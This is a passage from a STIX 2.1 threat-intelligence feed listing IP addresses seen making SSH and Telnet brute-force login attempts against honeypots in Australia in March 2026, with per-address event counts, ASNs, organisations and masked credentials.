      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 16135. Organisation(s): Turkcell Iletisim Hizmetleri A.s..",
      "id": "indicator--2039275e-5655-43b3-8555-7d407a29932b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '5.26.146.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--0168f86c-8715-4459-ac42-752fd3a11d30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.110.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T20:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc. Usernames observed (masked): a***n, r**t. Passwords observed (masked): c*****9, i**********0, m****m.",
      "id": "indicator--c6781b56-df94-4a57-937e-6c36aad0ee1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T20:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.186.8.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T20:15:08.000Z",
      "valid_until": "2026-04-21T20:15:05.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 167. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): o******r, r**t, 1****6, 3**********4, c***d. Passwords observed (masked): 1***5, p******d, 1**4, 1*******., 3***********4.",
      "id": "indicator--83059092-1b89-4e2a-8802-c3ea629ce24a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.239.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, **, *, r**t, d********r. Passwords observed (masked): 3***********4, 3**********4, ***, 1**4, 1******8.",
      "id": "indicator--d5456041-c2ce-4a11-aabf-ddc0d7ad9d7b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.129.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 193. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, **, r**t, d********r, *. Passwords observed (masked): 3**********4, 1**4, 1******8, 3***********4, A******6.",
      "id": "indicator--d94b7fab-10d8-48c2-a6e3-89816e9327e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.178.16.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28649. Organisation(s): Desktop Sigmanet Comunicacao Multimidia SA.",
      "id": "indicator--9a450010-6a43-43c0-94ab-beaa0f5c4eca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '179.125.205.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 43. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 56971. Organisation(s): Cgi Global Limited. Usernames observed (masked): ***, t**t. Passwords observed (masked): 1******Z, ***.",
      "id": "indicator--6e0b97f1-2496-4ec0-99ca-b0cd29192b84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.130.206.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--8686ef8d-a8f6-4860-b6b9-be4857732fff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 48347. Organisation(s): JSC Mediasoft ekspert.",
      "id": "indicator--57261f38-7be8-4768-bfb9-f10d718f3c0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.132.19.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T21:15:05.000Z",
      "valid_until": "2026-04-21T21:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 329244. Organisation(s): Connect-Surf-and-Smile-Limited.",
      "id": "indicator--e93630ca-9b0a-4f75-91cc-69ff8b7a84bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.212.40.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 151863. Organisation(s): PSG JOINT STOCK COMPANY. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--7f3846c5-ff7f-4be9-986f-04cd24f20eae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.253.21.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--d892459e-b283-4d09-a6b3-13f09c1b921a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.36.76.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 212552. Organisation(s): BitCommand LLC. Usernames observed (masked): t**8, 3**********4, a***e, a**a, d****r. Passwords observed (masked): 1**4, 1****6, 1***5, 1******8, 3***********4.",
      "id": "indicator--ea8a4ac1-ed2e-486e-a2ba-1422d4a62b94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.253.5.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--2c8db0d3-6a52-48a1-bfe4-dca4599349cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--730aedf8-1ad5-4183-b26a-768a3ea9c3be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f8a3ae2b-73d3-4bb6-a9ee-74188536f9b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): s***a, 3**********4, b***h, e**a, f**d. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--26e129f2-ac8a-4b8f-8f76-8145e29e0f29",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.154.192.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--e29450d4-2f3a-4325-993a-45e6a3cad5a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.28.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T22:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HU. ASN(s): 44789. Organisation(s): KabelszatNet-2002. Musoreloszto es Kereskedelmi Kft..",
      "id": "indicator--5c4f5e83-a172-45a0-a539-2c1bb63d40f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T22:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '92.63.243.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T22:15:05.000Z",
      "valid_until": "2026-04-21T22:15:03.000Z"
    },
    {
      "created": "2026-03-20T23:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3dfd3d5b-3026-439a-8b9f-691625a377f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '12.163.139.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T23:15:05.000Z",
      "valid_until": "2026-04-21T23:15:03.000Z"
    },
    {
      "created": "2026-03-20T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, 1*******9, a***n.",
      "id": "indicator--6cd64ce8-c47f-4e70-a9e3-9c9b8ccca6a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-20T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.214.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-20T23:15:05.000Z",
      "valid_until": "2026-04-21T23:15:03.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4cc7ee75-90bc-45bc-b52d-b24dd55a7cbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.96.50.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 9354. Organisation(s): Community Network Center Inc..",
      "id": "indicator--b6fc8436-edb2-4897-aec0-7721ab76a3b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.2.149.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS.",
      "id": "indicator--60071195-ee13-48a2-8ecd-feea712d7bb1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.99.205.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--db1729fc-7dc0-4361-acec-40d6e4d7f60a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.212.245.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): 3**********4, *, ***, a***a, i*********a. Passwords observed (masked): 1***5, 3***********4, 3**********4, ***, 1**4.",
      "id": "indicator--f78738e0-02ef-4626-ba96-c78d25bd3a61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.10.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): s****r, 3**********4, d********r, ***, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, A**********0, A******3.",
      "id": "indicator--3055923a-44dc-4905-8ea1-d16afa25e4cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '203.145.34.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): s****r, 3**********4, ***, a***n, a***t. Passwords observed (masked): ***, 3***********4, 3**********4, A**********0, A******3.",
      "id": "indicator--6f76c2af-b3e4-40a7-b88c-dfd4b9b18b89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.80.223.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T00:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8624f336-5f5d-49b0-af1b-5d957ac03a4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T00:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T00:15:14.000Z",
      "valid_until": "2026-04-22T00:15:11.000Z"
    },
    {
      "created": "2026-03-21T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '100.53.194.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:15:14.000Z",
      "valid_until": "2026-04-22T01:15:12.000Z"
    },
    {
      "created": "2026-03-21T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): a***a, 3**********4, a*****r, b*****e, c*****t. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--cfa977cc-1350-4b0e-9131-8d0d53a1308b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.10.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:15:14.000Z",
      "valid_until": "2026-04-22T01:15:12.000Z"
    },
    {
      "created": "2026-03-21T01:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ffda49f7-883e-437e-844f-da782b91cbaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.17.108.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:15:14.000Z",
      "valid_until": "2026-04-22T01:15:12.000Z"
    },
    {
      "created": "2026-03-21T01:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***a, 3**********4, a*****r, b*****e, c*****t. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--55317e72-56b0-4cac-9067-b238242f298f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.213.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:15:14.000Z",
      "valid_until": "2026-04-22T01:15:12.000Z"
    },
    {
      "created": "2026-03-21T01:15:14.000Z",
